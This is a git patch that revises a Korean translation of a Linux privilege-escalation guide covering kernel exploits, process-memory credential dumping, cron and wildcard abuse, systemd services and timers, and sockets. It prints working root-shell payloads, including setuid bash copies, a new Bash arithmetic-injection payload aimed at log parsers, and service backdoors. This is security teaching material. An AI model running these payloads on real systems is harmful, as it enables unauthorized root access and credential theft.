From 409bc1349ce91897b1991fb3f14513e5ec8bf8de Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:57:31 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../privilege-escalation/README.md | 581 +++++++++--------- .../pentesting-web/spring-actuators.md | 120 +++- 2 files changed, 401 insertions(+), 300 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index ebf72ae6e..0e50f2b48 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS 정보 -실행 중인 OS에 대한 정보를 수집해보자. +운영 중인 OS에 대한 정보를 수집해보자 ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,11 +14,11 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -만약 **`PATH` 변수 안의 어떤 폴더에 대해 쓰기 권한(write permissions)을 가지고 있다면** 일부 라이브러리나 바이너리를 hijack할 수 있습니다: +만약 **`PATH` 변수 안의 어떤 폴더에 쓰기 권한이 있다면** 일부 라이브러리나 바이너리를 하이재킹할 수 있습니다: ```bash echo $PATH ``` -### Env info +### Env 정보 환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있나요? ```bash @@ -26,26 +26,26 @@ echo $PATH ``` ### Kernel exploits -커널 버전을 확인하고, escalate privileges에 사용할 수 있는 exploit이 있는지 확인하세요. +kernel 버전을 확인하고 해당 버전에서 privileges를 escalate할 수 있는 exploit이 있는지 확인하세요 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -여기에서 좋은 취약한 kernel 목록과 이미 **compiled exploits** 일부를 확인할 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -다른 사이트들에서 일부 **compiled exploits** 를 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +좋은 취약한 커널 목록과 일부 이미 **compiled exploits**를 다음에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +다른 사이트들에서도 일부 **compiled exploits**를 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -해당 사이트에서 취약한 kernel 버전들을 모두 추출하려면 다음을 실행하면 됩니다: +해당 웹에서 모든 취약한 커널 버전을 추출하려면 다음을 수행할 수 있습니다: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits를 검색하는 데 도움이 될 수 있는 도구는 다음과 같습니다: +kernel exploits를 검색하는 데 도움이 될 수 있는 도구는: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim에서 실행, kernel 2.x에 대한 exploit만 검사) -항상 **search the kernel version in Google**, 아마도 당신의 kernel version이 어떤 kernel exploit에 적혀 있을 수 있으니 해당 exploit가 유효한지 확신할 수 있습니다. +항상 **Google에서 kernel 버전을 검색하세요**, 해당 kernel 버전이 어떤 kernel exploit에 적혀 있을 수 있으므로 그 exploit가 유효한지 확실히 알 수 있습니다. ### CVE-2016-5195 (DirtyCow) @@ -69,24 +69,24 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` #### sudo < v1.28 -작성자 @sickrov +작성자: @sickrov ``` sudo -u#-1 /bin/bash ``` ### Dmesg 서명 검증 실패 -**smasher2 box of HTB**에서 이 vuln이 어떻게 악용될 수 있는지에 대한 **example**을 확인하세요. +**smasher2 box of HTB**에서 이 vuln이 어떻게 악용될 수 있는지에 대한 **예시**를 확인하세요 ```bash dmesg 2>/dev/null | grep "signature" ``` -### 추가적인 시스템 열거 +### 더 많은 시스템 열거 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 가능한 방어 수단 열거 +## 가능한 방어책 열거 ### AppArmor ```bash @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -docker container 안에 있다면 탈출을 시도해볼 수 있습니다: +docker container 내부에 있다면 탈출을 시도할 수 있습니다: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## 드라이브 -어디에 **what is mounted and unmounted** 되어 있는지, 그리고 그 이유를 확인하세요. 만약 어떤 항목이 **unmounted** 상태라면 **mount**를 시도해보고 개인 정보를 확인해보세요 +어디에 무엇이 **mounted and unmounted** 되어 있는지, 그리고 그 이유를 확인하세요. 만약 어떤 것이 unmounted 상태라면 그것을 mount하여 개인 정보를 확인해보세요 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,52 +145,52 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -또한 **any compiler is installed**인지 확인하세요. 일부 kernel exploit를 사용해야 하는 경우, 해당 exploit을 사용하려는 머신(또는 유사한 머신)에서 이를 compile하는 것이 권장되므로 유용합니다. +또한, **any compiler is installed**인지 확인하세요. 이는 kernel exploit을 사용해야 하는 경우 유용합니다. 사용할 머신(또는 유사한 머신)에서 그것을 compile하는 것이 권장됩니다. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 설치된 취약한 소프트웨어 +### 설치된 취약 소프트웨어 -설치된 패키지 및 서비스의 **버전**을 확인하세요. 예를 들어 오래된 Nagios 버전이 있어 escalating privileges에 악용될 수 있습니다…\ -더 의심스러운 설치된 소프트웨어의 버전을 수동으로 확인하는 것이 권장됩니다. +설치된 패키지와 서비스의 **버전**을 확인하세요. 예를 들어 오래된 Nagios 버전이 있어 권한 상승에 악용될 수 있습니다…\ +더 의심스러운 설치된 소프트웨어의 버전은 수동으로 확인하는 것을 권장합니다. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +머신에 SSH 접근 권한이 있다면, 머신 내부에 설치된 오래되었거나 취약한 소프트웨어를 확인하기 위해 **openVAS**를 사용할 수도 있습니다. -> [!NOTE] > _이 명령어들은 많은 정보를 표시하며 대부분 쓸모없을 수 있으므로, 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 검사하는 OpenVAS 같은 도구 사용을 권장한다_ +> [!NOTE] > _이 명령들은 대부분 쓸모없는 많은 정보를 출력할 수 있으므로, 설치된 소프트웨어 버전이 알려진 익스플로잇에 취약한지 확인해주는 OpenVAS 같은 도구를 사용하는 것이 권장됩니다_ -## Processes +## 프로세스 -실행 중인 **프로세스**가 무엇인지 확인하고, 어떤 프로세스가 **정상보다 더 많은 권한을 가지고 있는지**(예: tomcat이 root로 실행되는 경우?) 점검하라. +실행 중인 **프로세스들**을 살펴보고, 어떤 프로세스가 **정상보다 더 높은 권한**으로 실행되고 있는지 확인하세요 (예: tomcat이 root로 실행되고 있을 수 있음?) ```bash ps aux ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -또한 **processes binaries에 대한 권한**을 확인하세요. 누군가의 binaries를 덮어쓸 수 있을지도 모릅니다. +또한 프로세스 바이너리에 대한 권한을 확인하세요. 누군가의 바이너리를 덮어쓸 수 있을지도 모릅니다. ### Process monitoring -프로세스를 모니터링하기 위해 [**pspy**](https://github.com/DominicBreuker/pspy) 같은 도구를 사용할 수 있습니다. 이는 자주 실행되거나 특정 조건이 충족될 때 취약한 프로세스를 식별하는 데 매우 유용할 수 있습니다. +프로세스를 모니터링하기 위해 [**pspy**](https://github.com/DominicBreuker/pspy) 같은 도구를 사용할 수 있습니다. 이는 취약한 프로세스가 자주 실행되거나 특정 조건이 충족될 때 이를 식별하는 데 매우 유용할 수 있습니다. ### Process memory -서버의 일부 서비스는 **credentials in clear text inside the memory**를 저장하기도 합니다.\ -보통 다른 사용자가 소유한 프로세스의 메모리를 읽으려면 **root privileges**가 필요하기 때문에, 이는 이미 root인 상태에서 추가 credentials를 찾을 때 더 유용합니다.\ -그러나 일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있다는 점을 기억하세요. +서버의 일부 서비스는 메모리 안에 **credentials in clear text inside the memory**로 저장합니다.\ +일반적으로 다른 사용자가 소유한 프로세스의 메모리를 읽으려면 **root privileges**가 필요하므로, 이는 보통 이미 root일 때 더 많은 credentials를 찾는 데 유용합니다.\ +하지만 일반 사용자로서는 자신이 소유한 프로세스의 메모리를 읽을 수 있다는 것을 기억하세요. **as a regular user you can read the memory of the processes you own** > [!WARNING] -> 요즘 대부분의 머신은 기본적으로 **ptrace를 허용하지 않습니다**. 이는 비권한 사용자가 소유한 다른 프로세스를 덤프할 수 없다는 것을 의미합니다. +> 요즘 대부분의 머신은 기본적으로 **ptrace를 허용하지 않습니다**, 즉 권한이 낮은 사용자가 소유한 다른 프로세스를 덤프할 수 없습니다. > -> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_가 ptrace의 접근성을 제어합니다: +> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_ 는 ptrace의 접근성을 제어합니다: > -> - **kernel.yama.ptrace_scope = 0**: 동일한 uid를 가진 경우 모든 프로세스를 디버그할 수 있습니다. 이는 전통적인 ptrace 동작 방식입니다. -> - **kernel.yama.ptrace_scope = 1**: 오직 부모 프로세스만 디버그할 수 있습니다. -> - **kernel.yama.ptrace_scope = 2**: ptrace는 admin만 사용할 수 있으며 CAP_SYS_PTRACE 권한이 필요합니다. -> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 이 값으로 설정되면 ptrace를 다시 활성화하려면 재부팅이 필요합니다. +> - **kernel.yama.ptrace_scope = 0**: 같은 uid를 가진 모든 프로세스를 디버그할 수 있습니다. 이는 ptracing이 작동하던 전통적인 방식입니다. +> - **kernel.yama.ptrace_scope = 1**: 오직 부모 프로세스만 디버그될 수 있습니다. +> - **kernel.yama.ptrace_scope = 2**: ptrace를 사용하려면 CAP_SYS_PTRACE 권한이 필요하므로 오직 admin만 사용할 수 있습니다. +> - **kernel.yama.ptrace_scope = 3**: ptrace로 추적할 수 있는 프로세스가 없습니다. 일단 설정되면 ptracing을 다시 가능하게 하려면 재부팅이 필요합니다. #### GDB @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB 스크립트 +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -주어진 프로세스 ID에 대해, **maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지를 보여주며**; 또한 **각 매핑된 영역의 권한**도 표시합니다. **mem** 의사 파일은 **프로세스의 메모리 자체를 노출합니다**. **maps** 파일에서 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 우리는 이 정보를 사용해 **mem 파일에서 특정 위치로 이동(seek)하여 모든 읽을 수 있는 영역을 덤프**하여 파일로 저장합니다. +주어진 프로세스 ID에 대해, **maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지 보여주며**, 또한 **각 매핑된 영역의 권한을 보여줍니다**. 가상 파일인 **mem**은 **프로세스의 메모리 자체를 노출합니다**. **maps** 파일로부터 어떤 **메모리 영역이 읽기 가능한지**와 그 오프셋을 알 수 있습니다. 이 정보를 사용해 **mem 파일로 이동(seek)하여 모든 읽기 가능한 영역을 덤프(dump)**하고 파일로 저장합니다. ```bash procdump() ( @@ -231,15 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem`은 시스템의 **물리적** 메모리에 접근할 수 있게 해주며, 가상 메모리는 아닙니다. 커널의 가상 주소 공간은 /dev/kmem을 사용해 접근할 수 있습니다.\ - -일반적으로, `/dev/mem`은 **root**와 **kmem** 그룹만 읽을 수 있습니다. +`/dev/mem`은 시스템의 **물리적** 메모리에 접근을 제공하며, 가상 메모리는 아닙니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ +일반적으로, `/dev/mem`은 **root** 및 **kmem** 그룹만 읽을 수 있습니다. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump는 Windows용 Sysinternals 툴 모음의 클래식 ProcDump 도구를 Linux용으로 재구성한 것입니다. 다음에서 확인하세요: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump는 Windows용 Sysinternals 툴 모음의 고전적인 ProcDump 도구를 Linux용으로 재구상한 것입니다. 다음에서 확인할 수 있습니다: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -271,26 +270,26 @@ Press Ctrl-C to end monitoring without terminating the process. 프로세스 메모리를 덤프하려면 다음을 사용할 수 있습니다: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root 요구사항을 수동으로 제거하고 자신이 소유한 프로세스를 덤프할 수 있습니다 -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root 권한 필요) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_수동으로 root 요구사항을 제거하고 본인이 소유한 프로세스를 덤프할 수 있습니다 +- Script A.5는 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root 권한이 필요합니다) ### 프로세스 메모리에서 자격 증명 -#### 수동 예시 +#### 수동 예제 authenticator 프로세스가 실행 중이면: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -프로세스를 dump할 수 있으며(이전 섹션을 참조하여 프로세스의 memory를 dump하는 다양한 방법을 확인) memory 내부에서 credentials를 검색할 수 있습니다: +프로세스를 덤프할 수 있습니다 (이전 섹션을 참조하여 프로세스 메모리를 덤프하는 다양한 방법을 확인하세요) 그리고 메모리 내에서 자격 증명을 검색하세요: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 는 **메모리에서 평문 자격증명을 탈취**하고 일부 **잘 알려진 파일**에서도 수집합니다. 정상적으로 작동하려면 root 권한이 필요합니다. +도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)는 메모리와 일부 잘 알려진 파일들에서 평문 자격 증명을 훔칩니다. 정상적으로 작동하려면 root 권한이 필요합니다. | 기능 | 프로세스 이름 | | ------------------------------------------------- | -------------------- | @@ -317,7 +316,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## 예약된/Cron 작업 -예약된 작업 중 취약한 것이 있는지 확인하세요. root에 의해 실행되는 스크립트를 악용할 수 있는지 살펴보세요 (wildcard vuln? root가 사용하는 파일을 수정할 수 있나? symlinks 사용? root가 사용하는 디렉터리에 특정 파일을 생성?). +예약된 작업 중 취약점이 있는지 확인하세요. 루트(root)로 실행되는 스크립트를 이용할 수 있을지도 모릅니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있나? symlinks를 사용하나? root가 사용하는 디렉터리에 특정 파일을 생성하나?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -327,55 +326,79 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul 예를 들어, _/etc/crontab_ 안에서 다음과 같은 PATH를 찾을 수 있습니다: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_"user" 사용자가 /home/user에 쓰기 권한이 있는 것을 주목하세요_) +(_'user' 계정이 /home/user에 대해 쓰기 권한을 가지고 있는 점에 주목하세요_) -만약 이 crontab에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려 한다면. 예를 들어: _\* \* \* \* root overwrite.sh_\ -그런 경우, 다음을 사용하여 root shell을 얻을 수 있습니다: +이 crontab에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 하면. 예: _\* \* \* \* root overwrite.sh_\ +그러면, 다음을 사용해 root shell을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron이 와일드카드가 있는 script를 사용하는 경우 (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -root로 실행되는 script가 명령어 안에 “**\***”을 포함하고 있다면, 이를 악용하여 예상치 못한 동작(예: privesc)을 발생시킬 수 있습니다. 예: +root로 실행되는 스크립트에 명령 안에 “**\***”가 있다면, 이를 악용해 예상치 못한 동작(예: privesc)을 유발할 수 있습니다. 예: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**만약 wildcard가 앞에 위치한 경로가** _**/some/path/\***_ **와 같다면 취약하지 않습니다 (심지어** _**./\***_ **도 그렇지 않습니다).** +**wildcard가 경로(예:** _**/some/path/\***_ **) 앞에 있으면, 취약하지 않습니다 (심지어** _**./\***_ **도 아닙니다).** -더 많은 wildcard exploitation tricks에 대해서는 다음 페이지를 읽어보세요: +더 많은 wildcard exploitation tricks는 다음 페이지를 참고하세요: {{#ref}} wildcards-spare-tricks.md {{#endref}} + +### Bash arithmetic expansion injection in cron log parsers + +Bash는 ((...)), $((...)) 및 let에서 산술 평가 전에 parameter expansion과 command substitution을 수행합니다. 만약 root cron/parser가 신뢰할 수 없는 로그 필드를 읽어 산술 컨텍스트로 전달하면, 공격자는 cron이 실행될 때 root로 실행되는 command substitution $(...)을 주입할 수 있습니다. + +- 왜 작동하는가: Bash에서 확장은 다음 순서로 발생합니다: parameter/variable expansion, command substitution, arithmetic expansion, 그 다음 word splitting과 pathname expansion. 따라서 `$(/bin/bash -c 'id > /tmp/pwn')0` 같은 값은 먼저 치환되어(명령이 실행됨), 남은 숫자 `0`이 산술에 사용되어 스크립트가 오류 없이 계속됩니다. + +- 일반적인 취약 패턴: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- 공격 방법: 공격자가 제어하는 텍스트를 파싱되는 로그에 기록하게 하여 숫자처럼 보이는 필드에 command substitution을 포함하고 끝이 숫자 형태가 되게 합니다. 산술이 유효하도록 명령이 stdout으로 출력하지 않게 하거나(또는 리다이렉트) 출력이 없도록 하세요. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + ### Cron script overwriting and symlink -만약 당신이 root에 의해 실행되는 **cron script를 수정할 수 있다면**, 아주 쉽게 **shell**을 얻을 수 있습니다: +만약 root가 실행하는 **cron script를 수정할 수 있다면**, 아주 쉽게 shell을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root에 의해 실행되는 script가 **당신이 완전한 접근 권한을 가진 directory**를 사용한다면, 그 폴더를 삭제하고 당신이 제어하는 script를 제공하는 다른 폴더로 연결되는 **symlink 폴더를 생성하는 것**이 유용할 수 있습니다. +root에 의해 실행되는 script가 **사용자에게 완전한 접근 권한이 있는 directory**를 사용한다면, 해당 폴더를 삭제하고 **다른 폴더로 symlink 폴더를 생성**하여 당신이 제어하는 script를 제공하도록 만드는 것이 유용할 수 있습니다. ```bash ln -d -s ``` ### 자주 실행되는 cron jobs -프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 이용해 escalate privileges할 수도 있습니다. +프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 이용해 escalate privileges를 수행할 수 있을지도 모릅니다. -예를 들어, **1분 동안 0.1초마다 모니터링**, **실행 횟수가 적은 명령어 순으로 정렬**하고 가장 많이 실행된 명령어들을 삭제하려면 다음을 실행할 수 있습니다: +예를 들어, **1분 동안 0.1초마다 모니터링**, **실행 횟수가 적은 명령어 기준으로 정렬**하고 가장 많이 실행된 명령어를 삭제하려면, 다음과 같이 할 수 있습니다: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**또한 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이는 시작되는 모든 프로세스를 모니터링하고 나열합니다). +**다음도 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이 도구는 시작되는 모든 프로세스를 모니터하고 나열합니다). ### 보이지 않는 cron jobs -주석 뒤에 **carriage return을 넣는 방식으로** cronjob을 만들 수 있습니다 (without newline character), 그리고 cron job은 작동합니다. 예시(주의: carriage return char): +주석 뒤에 **carriage return을 넣는** 방식으로 (without newline character) cronjob을 만들 수 있으며, cron job은 정상적으로 작동합니다. 예시 (참고: carriage return char): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -383,53 +406,53 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 쓰기 가능한 _.service_ 파일 -어떤 `.service` 파일을 쓸 수 있는지 확인하세요. 쓸 수 있다면, 이를 수정하여 서비스가 **started**, **restarted** 또는 **stopped** 될 때 당신의 **backdoor**가 **실행되도록** 만들 수 있습니다 (기계가 재부팅될 때까지 기다려야 할 수도 있습니다).\ -예를 들어 .service 파일 안에 **`ExecStart=/tmp/script.sh`** 로 backdoor를 생성하세요. +어떤 `.service` 파일에 쓸 수 있는지 확인하세요. 가능하다면 해당 파일을 **수정하여** 서비스가 **시작될 때**, **재시작될 때** 또는 **중지될 때** 당신의 **백도어를 실행**하도록 만들 수 있습니다(기계를 재부팅할 때까지 기다려야 할 수도 있습니다).\ +예를 들어 .service 파일 안에 백도어를 생성할 때 **`ExecStart=/tmp/script.sh`**를 사용할 수 있습니다. ### 쓰기 가능한 서비스 바이너리 -서비스에 의해 실행되는 바이너리에 대해 **쓰기 권한**이 있다면, 이를 변경해 backdoors를 심을 수 있으므로 서비스가 다시 실행될 때 backdoors가 실행됩니다. +서비스에서 실행되는 바이너리에 대해 **쓰기 권한이 있는 경우**, 이를 백도어로 변경할 수 있으므로 서비스가 재실행될 때 백도어가 실행됩니다. -### systemd PATH - Relative Paths +### systemd PATH - 상대 경로 다음 명령으로 **systemd**가 사용하는 PATH를 확인할 수 있습니다: ```bash systemctl show-environment ``` -경로의 어떤 폴더에든 **쓰기**가 가능하다는 것을 발견하면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 **상대 경로가 사용되고 있는지** 찾아야 합니다: +경로의 어느 폴더에든 **write** 할 수 있음을 발견하면 **escalate privileges** 할 수 있습니다. 다음과 같이 서비스 구성 파일에서 **relative paths being used on service configurations**가 사용되는지 찾아야 합니다: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -그런 다음, 쓰기 가능한 systemd PATH 폴더 안에 상대 경로 바이너리와 **동일한 이름의** **executable**을 생성하면, 서비스가 취약한 동작(**Start**, **Stop**, **Reload**)을 실행하도록 요청될 때 당신의 **backdoor가 실행됩니다** (권한 없는 사용자는 보통 서비스를 시작/중지할 수 없지만 `sudo -l`로 확인해 보세요). +그런 다음, 쓰기 가능한 systemd PATH 폴더 안에 상대 경로 바이너리와 이름이 같은 **executable**을 생성하세요. 서비스가 취약한 동작(**Start**, **Stop**, **Reload**)을 실행하도록 요청되면, 귀하의 **backdoor**가 실행됩니다(권한 없는 사용자는 보통 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하세요). -**서비스에 대해서는 `man systemd.service`를 참고하세요.** +**Learn more about services with `man systemd.service`.** ## **Timers** -**타이머**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일이나 이벤트를 제어하는 systemd unit 파일입니다. **타이머**는 캘린더 시간 이벤트와 단조(monotonic) 시간 이벤트를 기본적으로 지원하며 비동기적으로 실행될 수 있기 때문에 cron의 대안으로 사용할 수 있습니다. +**Timers**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일 또는 이벤트를 제어하는 systemd unit 파일입니다. **Timers**는 calendar time 이벤트와 monotonic time 이벤트에 대한 내장 지원을 제공하고 비동기적으로 실행할 수 있기 때문에 cron의 대안으로 사용할 수 있습니다. -타이머를 모두 열거하려면: +You can enumerate all the timers with: ```bash systemctl list-timers --all ``` ### 쓰기 가능한 타이머 -타이머를 수정할 수 있다면 존재하는 systemd.unit 항목(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다. +타이머를 수정할 수 있다면 systemd.unit에 존재하는 항목(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다. ```bash Unit=backdoor.service ``` -문서에서 Unit은 다음과 같이 정의되어 있습니다: +문서에서 Unit이 무엇인지 다음과 같이 설명합니다: -> 이 타이머가 만료될 때 활성화할 unit입니다. 인수는 접미사가 ".timer"가 아닌 unit 이름입니다. 지정하지 않으면, 이 값은 타이머 유닛과 동일한 이름(단, 접미사를 제외)인 서비스(.service)로 기본 설정됩니다. (위 참조.) 활성화될 unit 이름과 타이머 unit의 이름은 접미사를 제외하고 동일하게 명명하는 것이 권장됩니다. +> 이 타이머가 만료될 때 활성화할 unit입니다. 인수는 접미사가 ".timer"가 아닌 unit 이름입니다. 지정하지 않으면 이 값은 타이머 유닛의 이름과 동일하되 접미사가 다른 service로 기본값이 설정됩니다. (위 참조.) 활성화되는 unit 이름과 timer unit의 이름은 접미사를 제외하고 동일하게 이름을 지정하는 것이 권장됩니다. -따라서 이 권한을 악용하려면 다음을 해야 합니다: +따라서 이 권한을 악용하려면 다음이 필요합니다: -- `.service`와 같은 systemd unit 중에서 **쓰기 가능한 바이너리를 실행하는** 것을 찾습니다 -- **상대 경로를 실행하는** systemd unit을 찾고, 해당 실행 파일을 가장하기 위해 **systemd PATH**에 대해 **쓰기 권한**을 가지고 있어야 합니다 +- systemd unit(예: `.service`) 중에서 **쓰기 가능한 바이너리**를 실행하고 있는 것을 찾습니다 +- **상대 경로를 실행하는** systemd unit을 찾고, 해당 실행파일을 가장할 수 있도록 **systemd PATH**에 대해 **쓰기 권한**을 가지고 있어야 합니다 -**타이머에 대해 더 알아보려면 `man systemd.timer`를 참고하세요.** +Learn more about timers with `man systemd.timer`. ### **타이머 활성화** @@ -440,30 +463,30 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ``` Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Sockets +## 소켓 -Unix Domain Sockets (UDS) enable **프로세스 통신**을 동일하거나 다른 머신에서 클라이언트-서버 모델 내에서 가능하게 합니다. 이들은 컴퓨터 간 통신을 위해 표준 Unix 디스크립터 파일을 사용하며 `.socket` 파일을 통해 설정됩니다. +Unix Domain Sockets (UDS)은 클라이언트-서버 모델 내에서 동일하거나 다른 머신 간의 **프로세스 간 통신**을 가능하게 합니다. 이들은 표준 Unix 디스크립터 파일을 이용해 컴퓨터 간 통신을 수행하며 `.socket` 파일을 통해 설정됩니다. -Sockets can be configured using `.socket` files. +소켓은 `.socket` 